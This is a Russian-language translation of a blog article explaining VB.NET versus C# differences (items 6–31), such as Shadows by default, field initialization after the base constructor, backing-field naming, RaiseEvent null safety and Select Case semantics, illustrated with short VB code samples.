### 6. VB по умолчанию скрывает члены базового класса по имени (Shadows), а не по имени и сигнатуре (Overloads)
Я думаю, это различие довольно хорошо известно. Сценарий таков: вы наследуете базовый класс (`DomainObject`), возможно, вне вашего контроля, и объявляете метод с именем, которое имеет смысл в контексте вашего класса, например, `Print`:
```
Class DomainObject
End Class
Class Invoice
Inherits DomainObject
Public Sub Print(copies As Integer)
' Sends contents of invoice to default printer.
End Sub
End Class
```
[gist.github.com/AnthonyDGreen/863cfd1e7536fe8bda7cd145795eaf9f#file-shadows-example-vb](https://gist.github.com/AnthonyDGreen/863cfd1e7536fe8bda7cd145795eaf9f#file-shadows-example-vb)
То, что инвойс может быть напечатан, имеет смысл. Но в следующей версии API, где объявлен ваш базовый класс, решают для отладки добавить всем DomainObject'ам метод, который выводит полное содержимое объекта в окно отладки. Этот метод блестяще назвали Print. Проблема в том, что клиент вашего API может заметить, что объект Invoice имеет методы `Print()` и `Print(Integer)`, и подумать, что это связанные перегрузки. Может, первый просто печатает одну копию. Но это совсем не то, что вы задумали как автор Invoice. Вы понятия не имели, что появится `DomainObject.Print`. Так что да, в VB это работает не так. Когда всплывает такая ситуация, появляется предупреждение, но что более важно, поведение по умолчанию в VB — скрывать по имени. То есть пока вы явно не укажете с помощью ключевого слова `Overloads`, что ваш `Print` является перегрузкой `Print` базового класса, член базового класса (и любые его перегрузки) полностью скрыты. Клиентам вашего класса показывается только API, объявленный вами изначально. Так работает по умолчанию, но вы можете сделать это явно через ключевое слово Shadows. C# умеет только `Overloads` (хотя учитывает `Shadows`, когда ссылается на VB-шную библиотеку) и делает так по умолчанию (используя ключевое слово `new`). Но это различие всплывает время от времени, когда в проектах появляются некоторые иерархии наследования, где один класс определен на одном языке, а другой — на другом, и имеются перегруженные методы, но это выходит за рамки текущего пункта списка различий.
### 7. VB11 и ниже являются более строгими к Protected-членам в дженериках
На самом деле мы поменяли это между VS2013 и VS2015. В частности, мы решили не заморачиваться с повторной реализацией. Но я пишу это различие на случай, если вы используете старую версию и заметили его. Вкратце: если в дженерик-типе объявлен Protected-член, то наследник, будучи также дженериком, может получить доступ к этому protected-члену только через наследный экземпляр с такими же аргументами типа.
```
Class Base(Of T)
Protected x As T
End Class
Class Derived(Of T)
Inherits Base(Of T)
Public Sub F(y As Derived(Of String))
' Error: Derived(Of T) cannot access Derived(Of String)'s
' protected members
y.x = "a"
End Sub
End Class
```
[gist.github.com/AnthonyDGreen/ce12ac986219eb51d6c85fa02c339a2f#file-protected-in-generics-vb](https://gist.github.com/AnthonyDGreen/ce12ac986219eb51d6c85fa02c339a2f#file-protected-in-generics-vb)
### 8. Синтаксис «именованный аргумент (Named argument)» в атрибутах всегда инициализирует свойства/поля
VB использует тот же синтаксис `:=` для инициализации свойств/полей атрибута, что и для передачи по имени аргументов метода. Следовательно, нет способа передать аргумент конструктору атрибута по имени.
### 9. Все объявления верхнего уровня (обычно) неявно находятся в корневом пространстве имен проекта
Это различие почти что в категории «дополнительные возможности», но я включил его в список, потому что оно меняет смысл кода. В свойствах проекта VB есть поле:

По умолчанию это просто имя вашего проекта в момент создания. Это **НЕ** то же самое поле, что «Default namespace» в свойствах проекта C#. Default namespace просто задает, какой код добавляется по умолчанию в новые файлы в C#. Но root namespace в VB означает, что, если не указано иное, каждое объявление верхнего уровня в этом проекте неявно находится в этом пространстве имен. Вот почему шаблоны документов VB обычно не содержат никаких объявлений пространств имен. Более того, если вы добавите объявление пространства имен, оно не переопределяет корневое, а добавляется к нему:
```
Namespace Controllers
' Child namespace.
End Namespace
Namespace Global.Controllers
' Top-level namespace
End Namespace
```
[gist.github.com/AnthonyDGreen/fd1e5e3a58aee862a5082e1d2b078084#file-root-namespace-vb](https://gist.github.com/AnthonyDGreen/fd1e5e3a58aee862a5082e1d2b078084#file-root-namespace-vb)
Таким образом, пространство имен `Controllers` фактически объявляет пространство имен `VBExamples.Controllers`, если вы не избавитесь от этого механизма, явным образом объявив в пространстве имен `Global`.
Это удобно, потому что экономит один уровень отступов и одно лишнее понятие на каждый VB-файл. И это особенно полезно, если вы создаете UWP-приложение (потому что в UWP все должно быть в пространстве имен), и крайне удобно, если вы решите изменить пространство имен верхнего уровня для всего вашего проекта, скажем, с некоторого кодового имени типа Roslyn на более длинное релизное вроде `Microsoft.CodeAnalysis`, так как вам не придется вручную обновлять каждый файл в солюшене. Также важно помнить это при работе с кодогенераторами, пространствами имен XAML и новым форматом файла `.vbproj`.
### 10. Модули не генерируются как запечатанные (sealed) абстрактные классы в IL, поэтому они не похожи в точности на статические классы C# и наоборот.
Модули в VB существовали до статических классов C#, хотя мы попытались в 2010 году сделать их одинаковыми с точки зрения IL. К сожалению, это было breaking change, потому что XML Serializer (а может это был binary) для той версии .NET (думаю, они исправили это) не хотел делать сериализацию типа, вложенного в тип, который не может быть создан (а абстрактный класс не может). Он бросал исключение.
Мы обнаружили это после внесения изменений и откатили их, потому что некий код где-то использовал тип enum, который был вложен в модуль. А поскольку вам неизвестно, с какой версией сериализатора будет работать скомпилированная программа, это не получится поменять никогда, поскольку в одной версии приложения оно будет работать, а в других — бросать исключения.
### 11. Вам не нужен явный метод для точки входа (Sub Main) в приложениях WinForms
Если ваш проект использует Form в качестве стартового объекта и не использует «Application Framework» (подробнее об этом в следующем посте), VB генерирует `Sub Main`, который создает вашу стартовую форму и передает ее в `Application.Run`, экономя вам таким образом либо целый файл для управления этим процессом, либо дополнительный метод в вашем `Form`, либо вообще необходимость задумываться об этой проблеме.
### 12. Если вы вызываете некоторые устаревшие методы рантайма VB (например, FileOpen), вызывающий метод будет неявно помечен атрибутом, чтобы отключить инлайнинг из соображений корректности
Если кратко, методы для работы с файлами в стиле VB6 вроде `FileOpen` полагаются на контекст, специфичный для сборки, где находится код. Например, файл #1 может быть логом в одном проекте и конфигом в другом. Чтобы определить, какая сборка запущена, вызывается `Assembly.GetCallingAssembly()`. Но если JIT встраивает (*inlines*) ваш метод в вызывающий, то с точки зрения стека метод VB-рантайма будет вызван не вашим методом, а вызывающим, который может быть в другой сборке, что затем может позволить вашему коду получить доступ или нарушить внутреннее состояние вызывающего объекта. Это не вопрос безопасности, потому что, если компрометирующий код запущен в вашем процессе, вы уже проиграли. Это вопрос корректности. Поэтому, если вы используете эти методы, компилятор отключает инлайнинг.
Это изменение было сделано в последний момент в 2010 году, потому что x64 JIT ОЧЕНЬ агрессивен при инлайнинге/оптимизации кода, и мы обнаружили это очень поздно, и это был самый безопасный вариант.
### 13. Если ваш тип помечен атрибутом DesignerGenerated и не содержит каких-либо явных объявлений конструктора, то генерируемый компилятором по умолчанию вызовет InitializeComponent, если он определен для этого типа
В эпоху до появления Partial-типов команда VB вела войну за уменьшение бойлерплейт-кода в WinForms-проектах. Но даже при наличии `Partial` это полезно, потому что позволяет сгенерированному файлу полностью опустить конструктор, а пользователь может вручную объявить его в своем файле, если он нужен, или не объявлять, если нет. Без этого дизайнер был бы вынужден добавлять конструктор только чтобы вызывать `InitializeComponent`, а если пользователь добавит тоже, то они будут дубликатами, либо инструментарий должен быть достаточно умным, чтобы переместить конструктор из файла дизайнера в пользовательский и не генерировать его повторно в дизайнере, если он уже существует в пользовательском файле.
### 14. Отсутствие модификатора Partial НЕ означает, что тип не является partial
Технически в VB только один класс должен быть отмечен как Partial. Это обычно (в GUI-проектах) сгенерированный файл.
**Почему?** Это сохраняет пользовательский файл красивым и чистым, и может быть очень удобным для включения после генерации или дополнения сгенерированного кода пользовательским. Однако рекомендуется, чтобы максимум один класс не имел модификатора Partial, в противном случае выдается предупреждение.
### 15. В классах по умолчанию уровень доступа Public для всего, кроме полей, а в структурах Public и для полей тоже
У меня cмешанные чувства по этому поводу. В C# все по умолчанию `private` (ура, инкапсуляция!), но есть довод сделать в зависимости от того, что вы чаще объявляете: публичный контракт или детали реализации. Свойства и события, как правило, предназначены для внешнего (`public`) использования, и операторы не могут быть доступны иначе, как `public`. Однако я редко полагаюсь на доступность по умолчанию (за исключением демо наподобие примеров из этой статьи).
### 16. VB инициализирует поля ПОСЛЕ вызова базового конструктора, тогда как C# инициализирует их ДО вызова базового конструктора
Слышали, как «некоторые» говорят, что первое, что происходит в конструкторе, — это вызов конструктора базового класса? Ну, это не так, по крайней мере, в C#. В C# перед вызовом `base()`, явном или неявном, сначала выполняются инициализаторы полей, затем вызов конструктора, а затем ваш код. У этого решения есть последствия, и я думаю, что знаю, почему разработчики языка могли бы пойти тем или иным путем. Я считаю одно из таких последствий — что следующий код не может быть переведен в C# напрямую:
```
Imports System.Reflection
Class ReflectionFoo
Private StringType As Type = GetType(String)
Private StringLengthProperty As PropertyInfo = StringType.GetProperty("Length")
Private StringGetEnumeratorMethod As MethodInfo = StringType.GetMethod("GetEnumerator")
Private StringEnumeratorType As Type = StringGetEnumeratorMethod.ReturnType
Sub New()
Console.WriteLine(StringType)
End Sub
End Class
```
[gist.github.com/AnthonyDGreen/37d01c8e7f085e06172bfaf6a1e567d4#file-field-init-me-reference-vb](https://gist.github.com/AnthonyDGreen/37d01c8e7f085e06172bfaf6a1e567d4#file-field-init-me-reference-vb)
Во времена, когда я занимался Reflection, я часто писал такой код. И я смутно припоминаю коллегу до Microsoft (Джош), который переводил мой код на C#, иногда жалуясь на необходимость переносить все мои инициализаторы в конструктор. В C# запрещено ссылаться на создаваемый объект до того, как будет вызван `base()`. И поскольку инициализаторы полей выполняются до указанного вызова, они также не могут ссылаться на другие поля или любые члены экземпляра объекта. Так что этот пример тоже работает только в VB:
```
MustInherit Class Base
' OOP OP?
Private Cached As Object = DerivedFactory()
Protected MustOverride Function DerivedFactory() As Object
End Class
Class Derived
Inherits Base
Protected Overrides Function DerivedFactory() As Object
Return New Object()
End Function
End Class
```
[gist.github.com/AnthonyDGreen/fe5ca89e5a98efee97ffee93aa684e50#file-base-derived-init-vb](https://gist.github.com/AnthonyDGreen/fe5ca89e5a98efee97ffee93aa684e50#file-base-derived-init-vb)
Здесь у нас есть базовый класс, который предположительно имеет множество функциональных возможностей, но ему нужен некий ключевой объект для управления, работы, который определяется производным типом. Есть много способов реализовать такой шаблон, но я обычно использую этот, потому что:
* он краткий;
* не требует от меня объявления конструктора;
* не требует, чтобы я поместил код инициализации в конструктор, если он есть;
* позволяет мне кэшировать созданный объект и не требует, чтобы производные типы объявляли и управляли хранилищем для предоставленного объекта, хотя теперь с автосвойствами это не такая проблема.
Далее, я бывал в обеих ситуациях: когда поле в производном типе хотело вызвать метод, объявленный в базовом классе, и когда инициализатору поля базового класса необходимо было вызвать `MustOverride`-член, реализованный производным типом. Оба допустимы в VB и ни один в C#, и в этом есть смысл. Если бы инициализатор поля C# мог вызвать член базового класса, этот член мог бы зависеть от полей, инициализированных в базовом конструкторе (который еще не запущен) и результаты почти наверняка были бы неправильными, и это никак не обойти.
Но в VB базовый конструктор уже заведомо отработал, так что вы можете делать что угодно! В обратной ситуации все немного сложнее, потому что вызов `Overridable`-члена из инициализатора (или конструктора) базового класса может привести к доступу к полям до того, как они будут «инициализированы». Но только ваша реализация знает, является ли это проблемой. В моих сценариях такого просто не бывает. Они не зависят от состояния экземпляра, но не могут быть `Shared`-членами, потому что вы не можете иметь `Shared Overridable`-член в любом языке по техническим причинам, выходящим за рамки этой статьи. Кроме того, четко определено, что происходит с полями до запуска пользовательских инициализаторов — они инициализируются значениями по умолчанию, как и все переменные в VB. Никаких сюрпризов.
**Так почему же?** На самом деле я не знаю, были ли мои сценарии тем, что имела в виду изначальная команда VB.NET, когда они это проектировали. Просто в моем случае это реально работает! Я думаю, что на самом деле все гораздо проще: дизайн VB гарантирует, что вы всегда можете написать в инициализаторе поля то, что вы могли бы написать в конструкторе. Мы интуитивно думаем об инициализаторах полей как о более краткой форме присвоений в конструкторе. При таком дизайне они ими и являются по большому счету.
*Между прочим, это различие очень важно иметь в виду при разработке инициализаторов автосвойств и основных конструкторов, и это пример того, почему вы не можете просто скопипастить дизайн программы из C# в VB, особенно если этот дизайн опирается на идею, что ограничения в VB такие же, как в C#.*
### 17. Неявно объявленное вспомогательное поле (backing field) событий VB имеет другое имя, нежели в C#, и доступно по имени
Это может быть важно в контексте рефлексии и сериализации (которая на самом деле просто еще бОльшая рефлексия). Если взять простое объявление события с именем `E`, в VB будет объявлено (скрытое в IDE) поле с именем `EEvent`. В C# поле также будет называться `E`, и язык имеет специальные правила, когда выражение `E` относится к событию, а когда к полю.
### 18. Неявно объявленное вспомогательное поле автосвойств VB имеет обычное имя и доступно по этому имени
Если объявить автосвойство с именем `P`, то сгенерируется поле с именем `_P'`. Оно скрыто в IntelliSense, но может быть доступно при необходимости. В C# это поле имеет «искаженное» (*mangled*) имя, что означает, что это имя не может быть объявлено или использовано непосредственно в C# и обычно содержит специальные символы.
**Почему так?** Команда VB решила использовать понятное имя, во-первых, поскольку оно в гармонии с решением по вспомогательным полям событий и переменными «WithEvents», и во-вторых, чтобы имя могло остаться прежним, если автосвойство когда-нибудь будет развернуто в обычное свойство, что важно для сохранения обратной совместимости при сериализации.
### 19. Неявно объявленное вспомогательное поле read-only автосвойств позволяет запись
Некоторые люди хотели бы, чтобы поля также были доступны только для чтения, для …чистоты. Но в VB существует сильная традиция наличия «спасательных люков» к его волшебным фичам. Хотя вспомогательные поля `WithEvents`-переменных, non-Custom событий и записываемых автосвойств почти никогда не предназначены для прямого доступа, все же есть скрытый способ обойти аксессоры, если этого требует ваша ситуация. Переменные скрыты от IntelliSense, поэтому вам надо будет приложить усилия, но если вам нужна гибкость, она есть. Философская самосогласованность FTW! Кроме того, это дает VB лаконичную фичу, сравнимую с объявлением private set; автосвойства в C#.
```
Class Alarm
Private ReadOnly Code As Integer
ReadOnly Property Status As String = "Disarmed"
Sub New(code As Integer)
Me.Code = code
End Sub
Sub Arm()
' I'm motifying the value of this externally read-only property here.
_Status = "Armed"
End Sub
Function Disarm(code As Integer) As Boolean
If code = Me.Code Then
' And here.
_Status = "Disarmed"
Return True
Else
Return False
End If
End Function
End Class
```
[gist.github.com/AnthonyDGreen/57ce7962700c5498894ad417296f9066#file-read-only-auto-property-backing-field-is-writeable-vb](https://gist.github.com/AnthonyDGreen/57ce7962700c5498894ad417296f9066#file-read-only-auto-property-backing-field-is-writeable-vb)
### 20. Атрибуты событий иногда применяются к вспомогательному полю событий
В частности, атрибут `NonSerialized`.
Поскольку в VB не было синтаксиса для объявления расширенного (expanded) Custom-события до 2005 года (?) **и** нет синтаксиса назначения атрибута для членов типа, было невозможно явно объявить вспомогательное поле для события и, таким образом, применить атрибут `NonSerialized`. Это то, что вам обязательно нужно сделать, потому что объекты, слушающие ваши события, на самом деле не являются частью «вашего» состояния и не должны быть частью того, что считается вашим «контрактом данных».
Это сильно мешало некоторым людям, желающим сериализовать объекты, потому что сериализатор попытался бы сериализовать вспомогательное поле события и, таким образом, всех слушателей события. Так, если, например, у вас есть класс данных, который к тому же two-way bindable (а значит, объявляет событие `PropertyChanged`), сериализатор попытается сериализовать любые контролы, связанные с этим объектом, и, конечно, не сможет этого сделать.
И пример этого, близкий и дорогой моему сердцу, можно найти в ранних версиях фреймворка CLSA «Expert Business Objects» [Рокки Лотки (Rocky Lhotka)](https://twitter.com/rockylhotka), который использовал бы сериализацию для undo/redo (он сериализовал бы копию того, как объект выглядел раньше, когда вы что-то изменили, и десериализовал, если бы вы отменили изменения), а также клонирования объектов и сетевого маршаллинга. Таким образом, добавление этого особого случая действительно развязало руки затронутым клиентам. Кроме того, весьма изящно, что не нужно полностью заново писать событие вручную, чтобы отказаться от сериализации.
Инструкции
----------
### 21. Область действия метки — это тело всего метода, ее содержащего; Вы можете прыгать внутрь блоков (не всех)
Так и есть, вы можете снаружи блока выполнить `GoTo` к метке внутри этого блока. Существуют некоторые ограничения, обычно когда такой переход позволит обойти инициализацию какой-либо важной языковой конструкции. Например, вы не можете перейти в циклы `For` или `For Each`; блоки `Using`, `SyncLock` или `With`, и я думаю, что также в некоторых случаях, включающих захват переменных в лямбде и блоки `Finally`. Но блоки `If` и `Select Case`, циклы `Do` и `While`, и даже блоки Try — это игра по правилам, и я встречал сценарии с каждым из них:
```
Module Program
Sub Main()
Dim retryCount = 0
Try
Retry:
' IO call.
Catch ex As IO.IOException When retryCount < 3
retryCount += 1
GoTo Retry
End Try
End Sub
End Module
```
[gist.github.com/AnthonyDGreen/b93adcf3c3705e4768dcab0b05b187a0#file-try-goto-retry-vb](https://gist.github.com/AnthonyDGreen/b93adcf3c3705e4768dcab0b05b187a0#file-try-goto-retry-vb)
Причиной этого, скорее всего, является тот факт, что до .NET в VB не было областей видимости типа «блок». В VB6 и раньше вплоть до моего опыта с Quick Basic метки (и переменные) имели область видимости всего содержащего их метода. Когда я начал писать на QB, отступы предлагалось использовать в стилистических целях. Это делало код более читабельным, но это не было отражением структуры «областей видимости», и достаточно часто весь мой код был выровнен по левому краю. К тому же если вы собираетесь использовать GoTo, то вряд ли области видимости блоков для вас — бит старшего порядка, скорее это будет помехой на пути к цели.
**Важно**: этот сценарий с `Try` нужно иметь в виду, если VB когда-нибудь получит поддержку `await` в блоках `Catch` и `Finally`, поскольку код, генерируемый при наличии такого `GoTo` должен быть немного другим.
### 22. Время жизни локальной переменной <> области видимости
Как продолжение предыдущего пункта, в VB время жизни (как долго эта переменная содержит значение) локальной (не `static`) переменной не совпадает с ее областью действия (где на нее можно ссылаться по имени). И это имеет смысл, особенно с учетом предыдущего пункта. В моем примере выполнение покинуло бы блок `Catch` на исключении и повторило попытку до 3 раз. Хотя любые внутренние переменные блока `Try` находятся вне области видимости блока `Catch`, и ссылаться на них там нельзя, разумно и необходимо, чтобы при повторном входе в блок `Try` эти переменные имели прежние значения.
Еще раз, до VB.NET видимость переменных была ограничена методом, и это не имело значения. Но в любом случае на уровне CLR это верно даже без способности VB прыгать в блоки. Это также согласуется с опытом отладки: если во время отладки разработчик перемещает указатель инструкции обратно в блок, из которого вышел ранее.
*Технически, C# определяет, что фактическое время жизни переменной зависит от реализации, поэтому поведение в отладчике не является «неправильным». Просто в VB.NET фактическое время жизни гораздо заметнее.*
### 23. Переменные всегда инициализируются значением по умолчанию для соответствующего типа
Сначала я не собирался об этом говорить, но это часто встречается в обсуждениях дизайна языка, потому что в C# есть такой хардкорный набор правил о «ясном присваивании» (*definite assignment*). Идея в том, что языку нужны правила, гарантирующие, что вы никогда не получите случайный доступ к «неинициализированной памяти». Это действительно опасно, если остаток (или код) в памяти от некоего предыдущего использования теперь загружен в переменную указателя, которая случайно разыменовывается, и ваше приложение вылетает или система уходит в синий экран. Это часть наследия C/C++. Потому что весь С про производительность, детка! Каждая операция драгоценна, и любое затрачиваемое ЦП время должно быть явным. Таким образом, автоматическое обнуление памяти в целях безопасности до того, как код ее использует, — это правильно. Если пользователь отчаянно хочет гарантированно не получить доступ к мусорным данным, он должен написать это явно, чтобы было ясно, что он просит заплатить за эти циклы ЦП и, в случае, если он все равно уже написал идеально оптимизированный алгоритм, инициализирующий эту переменную неким ненулевым значением, то во всяком случае он не заплатит и за обнуление, и за явную инициализацию. Но да, языки BASIC так не думают, поэтому все наши переменные автоматически инициализируются до значения по умолчанию, и нет никакого доступа к «случайной» памяти, поэтому не требуется для каждой переменной `= Nothing`, `= 0`, `= False` и т.д.
Следовательно, анализ потока (*flow analysis*) в VB больше похож на рекомендации, чем на реальные правила.
Правила ясного присваивания также облагают большим налогом дизайн языка, потому что правила C# должны быть герметичными, чтобы гарантировать, что вы никогда не получите доступ к переменной в месте, где она не была ясно присвоена по любому пути к этому месту. VB имеет предупреждения в *некоторых* подобных ситуациях, но изначально они были направлены на то, чтобы помочь разработчикам найти потенциальные источники нулевых ссылок, а не на поощрение более избыточных инициализаторов. В Roslyn, однако, API все еще используют более строгое определение «ясного присваивания», так что ощущения от рефакторинга на высоте, хотя технически переменные всегда ясно присваиваются.
### 24. RaiseEvent НЕ выдает исключение, если вспомогательное поле равно null
Я видел такое несколько раз, когда кто-то пытался перевести некоторый код C# на VB. `RaiseEvent` в VB — это не просто перевод прямого вызова вспомогательного поля, он фактически проверяет на `null` (потокобезопасным способом), поэтому ситуация с `null`-обработчиком — не то, о чем вам вообще стоит задумываться.
```
' You don't have to write this:
If PropertyChangedEvent IsNot Nothing Then
RaiseEvent PropertyChanged(Me, e)
End If
' You don't have to write this:
Dim handlers = PropertyChangedEvent
If handlers IsNot Nothing Then
handlers(Me, e)
End If
' You don't have to write this either:
PropertyChangedEvent?(Me, e)
' Just write this:
RaiseEvent PropertyChanged(Me, e)
```
[gist.github.com/AnthonyDGreen/c3dea3d91ef4ffc50cfa92c41f967937#file-null-safe-event-raising-vb](https://gist.github.com/AnthonyDGreen/c3dea3d91ef4ffc50cfa92c41f967937#file-null-safe-event-raising-vb)
Следовательно, хотя использование синтаксиса null-conditional вызова в C# с VS2015 является большим выигрышем для C# в этой ситуации, это гораздо меньший выигрыш для VB (хоть и выигрыш), и я бы никому не советовал заморачиваться, чтобы использовать его без необходимости; идиоматический код VB.NET продолжит хорошо служить вам.
### 25. Присвоения не всегда одинаковы; иногда присвоение ссылочного типа выполняет поверхностную копию (shallow clone)
Это одно из тех отличий, которые, если вы не заметили их за последние 17 лет, вероятно, не имеют для вас значения. Когда вы присваиваете упакованный (boxed) значимый тип в переменную типа Object, компилятор вставляет вызов метода с именем `System.Runtime.CompilerServices.RuntimeHelper.GetObjectValue`. Это специальный метод, реализованный внутри CLR. Вот что он делает, принимая ссылку на объект:
* Если объект является ссылочным типом, он возвращает эту ссылку без изменений.
* Если объект представляет собой упакованный значимый тип, который является неизменяемым (например, все примитивные типы типа Integer ), он возвращает эту ссылку без изменений.
* Если объект является любым другим упакованным значимым типом, он копирует значение в новое упакованное значение и возвращает ссылку на него.
Это делается для того, чтобы сохранить семантику значимых типов, которая говорит, что значения всегда копируются, даже в ситуациях с поздним связыванием (*late-bound situations*). Поэтому, даже если у меня есть упакованная изменяемая структура, и я передаю ее (все еще в упакованном виде) в метод, и этот метод выполняет операции с поздним связыванием над упакованным объектом, которые его изменяют, он все равно работает только с копией значения, а не с копией вызывающего (*caller’s copy*). Так что будь ваш код слабо типизированным и полностью динамическим, строго типизированным с ранним связыванием, или чем-то средним, — семантика значимых типов остается прежней.
Я столкнулся с этим ровно один раз в своей карьере. Это была программа вроде такой:
```
Class MyEventArgs
Property Value As Object
End Class
Structure MyStruct
Public X, Y As Integer
End Structure
Module Program
Sub Main()
Dim defaultValue As Object = New MyStruct With {.X = 3, .Y = 5}
Dim e = New MyEventArgs With {.Value = defaultValue}
RaiseEvent DoSomething(Nothing, e)
If e.Value Is defaultValue Then
' No handlers have changed anything.
Console.WriteLine("Unchanged.")
End If
End Sub
Event DoSomething(sender As Object, e As MyEventArgs)
End Module
```
[gist.github.com/AnthonyDGreen/422ac4574af92d9bbbf59f0fbc40b74d#file-get-object-value-vb](https://gist.github.com/AnthonyDGreen/422ac4574af92d9bbbf59f0fbc40b74d#file-get-object-value-vb)
Там было нечто вроде конвейера событий, похожего на конвертер значений WPF, где код начинается со значения по умолчанию и дает другому коду возможность изменить это значение. Если ничего не изменилось, то код пойдет коротким путем. Логично, что если я начал с упакованного значения и аргументы события ссылались на один и тот же упакованный объект после вызова события, то ни один из обработчиков не обновил значение. Но вскоре я понял, что так никогда происходило. Я не думаю, что вообще мог как-то обойти это поведение, поэтому я, вероятно, отказался от использования упакованного значимого типа и заменил свое значение по умолчанию на класс.
Кстати, в документации хелпера указано, что другие «динамические языки» также могут использовать этот хелпер для сохранения семантики значений. Я не проверял IronRuby/Python, но я проверил `dynamic` в C# (и компилятор C#): C# не добавляет вызовы `GetObjectValue` при присваивании между динамическими типами. Моим первым инстинктом при проверке этого было использовать `object.ReferenceEquals`, чтобы понять, были ли ссылки одинаковыми, и это *делало* копию упакованного значения где-то глубоко в недрах `dynamic` C# (потому что это был динамический вызов). Но когда я перешел на использование `==`, оно не делало копию. Так что C#, по крайней мере иногда, разделяет эту цель сохранения семантики значений в ситуациях позднего связывания.
### 26. Select Case не поддерживает «проваливание» (fall-through); не требуется break
В приведенном ниже коде Friday является единственным рабочим днем, а Sunday — единственным выходным, остальные 5 дней недели теряются.
```
Module Program
Sub Main()
Select Case Today.DayOfWeek
Case DayOfWeek.Monday:
Case DayOfWeek.Tuesday:
Case DayOfWeek.Wednesday:
Case DayOfWeek.Thursday:
Case DayOfWeek.Friday:
Console.WriteLine("Weekday")
Case DayOfWeek.Saturday:
Case DayOfWeek.Sunday:
Console.WriteLine("Weekend")
End Select
End Sub
End Module
```
[gist.github.com/AnthonyDGreen/7b7e136c71dd11b2417a6c7267bb3546#file-select-case-no-fallthrough-vb](https://gist.github.com/AnthonyDGreen/7b7e136c71dd11b2417a6c7267bb3546#file-select-case-no-fallthrough-vb)
Однажды разработчик из команды Roslyn C# перезвонил мне, открыл какой-то код на своем ноутбуке и сказал: *«Знаешь, что я сегодня выяснил? Оно не проваливается!»* Я отвечаю *«Да, не проваливается»*. Было много смеха. VS фактически удаляет эти двоеточия, если вы их набираете, но так сложилось, что код был сгенерирован, и никто не проверял сгенерированный код, он просто не работал правильно. Но мы его исправили!
Так что это различие по классической причине. C# разработан, чтобы быть знакомым разработчикам из семейства языков C, и именно так работают свитчи в C. Они проваливаются от одного кейса к другому. Между прочим, C# технически тоже не поддерживает проваливание, если только раздел case не полностью пустой. Если вы что-то туда положили, вам нужно или явное `goto`, или `break`. В этом контексте в VB существует эквивалент `break`, `Exit Select`, но он не нужен в конце блока, потому что в VB нет никакого проваливания.
### 27. Каждый блок Case имеет свою область видимости
Этот пункт был для меня сюрпризом, когда он проявился в первый раз. Но если вы напишете эквивалентный код для примера ниже в C#, вы получите ошибку:
```
Module Program
Sub Main()
Select Case Today.DayOfWeek
Case DayOfWeek.Monday,
DayOfWeek.Tuesday,
DayOfWeek.Wednesday,
DayOfWeek.Thursday,
DayOfWeek.Friday
Dim message = "Get to work!"
Case DayOfWeek.Saturday,
DayOfWeek.Sunday
Dim message = "Funtime!"
End Select
End Sub
End Module
```
[gist.github.com/AnthonyDGreen/bd642061896246c9336255881fb78546#file-select-case-scopes-vb](https://gist.github.com/AnthonyDGreen/bd642061896246c9336255881fb78546#file-select-case-scopes-vb)
Ошибка будет означать, что `message` уже объявлена и не может быть объявлена дважды, потому что в C# весь оператор `switch` представляет собой одну область видимости и каждая метка `case` — это просто метка. Они не объявляют область видимости. Что, я полагаю, в какой-то степени имеет смысл (по крайней мере, в C): если вы проваливаетесь от одной секции к другой, то, возможно, существует состояние, которое необходимо разделить между секциями.
### 28, 29, 30. Select Case работает с непримитивными типами, может использовать произвольные неконстантные выражения в проверках и по умолчанию использует оператор =
Итак, вот вещь, которую я вообще не знал, пока на митинге по дизайну языка не стали отталкиваться от ошибочных представлений, какой код с использованием `Select Case` может существовать сегодня и как вокруг него должны будут проектироваться потенциальные новые фичи.
У меня в голове есть отличный пример на эту тему для следующего поста, но сейчас я расскажу о философских причинах, по которым эти вещи отличаются. Это сводится к следующему:
* `Select Case` — это сокращение, когда вы хотите протестировать одно и то же значение несколько раз, но…
* `switch` — это быстрая инструкция/нативная операция, известная как «[таблица](https://en.wikipedia.org/wiki/Branch_table) ветвлений или переходов».
Это различие, которое объединяет различия 26-30. `switch` в прошлом ограничивался сценариями, в которых производительность кода, сгенерированного компилятором, выше, чем несколько последовательных проверок `if`. В IL есть инструкция `switch`, которая намного эффективнее, чем несколько `If`, и компилятор VB будет использовать ее в качестве оптимизации при условии, что она быстрее. Но по философии switch в прошлом был ограничен только такими сценариями, полагаю, как наследник веры C в прозрачность производительности. В VB это просто удобство самовыражения.
### 31. Переменные, объявленные внутри циклов, в некотором роде сохраняют свое значение между итерациями
В этом примере каждую итерацию цикла `x` имеет то же значение, с которым она завершила предыдущую итерацию, поэтому в консоль выведутся числа -1, -2, -3:
```
Module Program
Sub Main()
For i = 1 To 3
Dim x As Integer
x -= 1
Console.WriteLine(x)
Next
End Sub
End Module
```
[gist.github.com/AnthonyDGreen/cbc3a9c70677354973d64f1d993a3c5d#file-loop-variables-retain-their-values-vb](https://gist.github.com/AnthonyDGreen/cbc3a9c70677354973d64f1d993a3c5d#file-loop-variables-retain-their-values-vb)
Технически каждая итерация *«делает свежую копию всех локальных переменных, объявленных в этом теле, инициализированную предыдущими значениями переменных»* (согласно спецификации). Это тонкое различие, которое стало заметным только в VB2008 и дальше, когда были введены лямбда-выражения:
```
Module Program
Sub Main()
Dim lambdas = New List(Of Action)
For i = 1 To 3
Dim x As Integer
x -= 1
lambdas.Add(Sub() Console.WriteLine(x))
Next
For Each lambda In lambdas
lambda()
Next
End Sub
End Module
```
[gist.github.com/AnthonyDGreen/2ef9ba3dfcf9a1abe0e94b0cde12faf1#file-loop-variables-captured-per-iteration-vb](https://gist.github.com/AnthonyDGreen/2ef9ba3dfcf9a1abe0e94b0cde12faf1#file-loop-variables-captured-per-iteration-vb)
Этот пример также выводит -1, -2, -3. Потому что технически каждая `x` — «свежая копия», лямбда-выражение захватывает значение `x` только для этой итерации, что чаще всего соответствует вашим ожиданиям. Но вы все равно должны перенести значение из предыдущих итераций, как если бы это была одна переменная `x` на все время жизни цикла. Попробуйте посмотреть это во flow analysis API — рискните! (*«Переменная… присваивается… самой себе?»*)
**Почему?** Я поспрашивал окружающих, и те, кто был в команде дольше всех, не смогли вспомнить точно, но если подумать на эту тему, то это имеет смысл в совокупности с #22. Это лучший способ добавить область видимости на уровне блока, сохранив поведение переменной с временем жизни уровня метода, а как только вы добавляете сюда лямбда-выражения, копирование переменной становится единственным практичным и интуитивно понятным вариантом.
